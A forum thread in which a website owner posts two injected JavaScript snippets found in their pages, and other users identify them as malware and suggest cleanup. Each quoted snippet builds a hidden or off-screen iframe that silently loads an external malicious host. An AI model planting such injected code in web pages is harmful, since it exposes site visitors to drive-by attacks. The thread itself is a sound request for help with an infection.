Java script code

stebiz

Are there any techies out there who understand what this script below is, that has appeared on my website?

Cheers

</div><!--23b416--><script type="text/javascript" language="javascript" > (function(){ var a = document.createElement('iframe'); a.src = 'http://netbiosemp.net/in.cgi?2'; a.style.position = 'absolute'; a.style.border = '0'; a.style.height = '3px'; a.style.width = '3px'; a.style.left = '1px'; a.style.top = '1px'; if(!document.getElementById('ad9')) { document.write('<div id=\'ad9\'></div>'); document.getElementById('ad9').appendChild(a); }})();</script><!--/23b416-->

stebiz

On the homepage it now says

</div><!--23b416--><script type="text/javascript" language="javascript" > var _f = document.createElement('iframe'),_r = 'setAttribute';_f[_r]('src', 'http://srlqpdbd.pro/in.cgi?2');_f.style.position = 'absolute';_f.style.width = '10px';_f[_r]('frameborder', navigator.userAgent.indexOf('bf3f1f8686832c30d7c764265f8e7ce8') + 1);_f.style.left = '-5540px';document.write('<div id=\'MIX_ADS\'></div>');document.getElementById('MIX_ADS').appendChild(_f);</script><!--/23b416-->

</body>
</html>


Is this malware on my pc as a warning comes up from google? Or is it on the site itself please?

S0litaire

Looks like a malware virus on your website!

have you installed any plug-ins lately?

seen it pop up in a number of wordpress sites lately...

stebiz

S0litaire wrote: »

Looks like a malware virus on your website!

have you installed any plug-ins lately?

seen it pop up in a number of wordpress sites lately...

Thanks. No I haven't. If I view source and see this at the bottom of the page - am I safe to assume that it is on the website (as you suggest) rather than my pc?

waddler_8

It's the website, not your computer & you definitely need to get the site cleaned up.

The script redirects to these malicious domains:

http://www.google.com/safebrowsing/diagnostic?site=netbiosemp.net
http://www.google.com/safebrowsing/diagnostic?site=srlqpdbd.pro

stebiz

waddler_8 wrote: »

It's the website, not your computer & you definitely need to get the site cleaned up.

The script redirects to these malicious domains:

http://www.google.com/safebrowsing/diagnostic?site=netbiosemp.net
http://www.google.com/safebrowsing/diagnostic?site=srlqpdbd.pro

Thanks. Much appreciated

waddler_8

There's some tips here but you should contact your hosting provider.

http://www.stopbadware.org/home/security